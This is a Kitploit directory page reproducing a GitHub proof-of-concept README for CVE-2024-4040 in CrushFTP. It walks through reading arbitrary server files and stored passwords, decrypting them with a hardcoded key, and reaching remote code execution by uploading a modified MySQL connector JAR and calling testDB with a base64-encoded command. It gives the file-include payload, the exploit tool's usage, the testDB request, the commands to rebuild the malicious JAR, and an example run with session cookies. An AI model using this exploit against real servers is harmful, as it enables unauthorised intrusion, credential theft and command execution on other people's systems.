Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-4040 — CVE-2024-4040 PoC | Kitploit
Tools/GitHubGitHub/entroychang/cve-2024-4040
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubentroychang/cve-2024-4040

CVE-2024-4040

CVE-2024-4040 PoC

View Repository
312 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-4040

Introduction

  • Recently, I came across this vulnerability and found it quite interesting. I read the following articles and wrote a brief exploit.
    • https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/
    • https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP-Post-Exploitation-Privilege-Escalation-Analysis-CVE-2024-4040/

Target Machine

  • I used someone else's docker. For details, please refer to the author's GitHub.
    • https://github.com/MarkusMcNugen/docker-CrushFTP
root@kitploit:~
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest

Attack Process

Obtaining Password

  • Use exploit.py and decrypt.java to obtain and decrypt the password. The key is hardcoded, so you can decrypt it and read arbitrary files.
  • Note that if the default admin, crushadmin, does not exist, you can try grabbing CrushFTP.log for account information.
    • <INCLUDE>CrushFTP.log</INCLUDE>

exploit.py

root@kitploit:~
usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]

CVE-2024-4040

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The target URL
  -H HEADERS, --headers HEADERS
                        Headers
  --account ACCOUNT     The target account
  --shell
  --jar-path JAR_PATH   Jar file path
  • The logic first checks if the target is vulnerable using four default accounts and attempts to retrieve the user.XML file.
  • If the target is confirmed to be vulnerable, it retrieves the user-specified account; if not provided, it defaults to the crushadmin admin account.
  • After obtaining the password, it uses decrypt.java to decrypt the password.
  • --shell feature is used to conveniently view the results after Remote Code Execution (RCE). After uploading the JAR file using the following method, specify --jar-path and --headers to see the execution command's result:
    • Note that --headers must include the logged-in Cookie, for example, --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
    • --jar-path defaults to /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. If it's in a different location, ensure to specify the path. Relative paths theoretically work but absolute paths are recommended.
    • To exit, type .

Login to Adjust Mapping and Permissions

  • Login and visit the admin panel.
  • After finding User Manager, click on the user on the left, drag the folder you want to map to User's Stuff, and finally adjust permissions. Ensure that upload is checked.

Upload Malicious JAR File

  • Upload the malicious JAR file. I have prepared two versions, one for JDK 16 and another for JDK 13, depending on the server's Java version.
  • Go back to the files section, click upload, and upload the malicious JAR file.

RCE

  • The reason for RCE is that there is a testDB function where you can specify the JAR file and driver object, and you can upload, combining these to achieve RCE.
root@kitploit:~
command=testDB&db_driver_file=<path_to_eviil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
    • The command in the image is id.
    • Pass the base64 encoded command in the db_user parameter to execute it.
  • I personally modified the MySQL connector version 5.0.4.
  • If the two compiled versions don't work, I provide my modified version, which can be recompiled with the following commands:
    • mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar
    • cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java
    • javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java
    • jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *

CVE-2024-4040

Download Tool
exit
  • Example command: python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"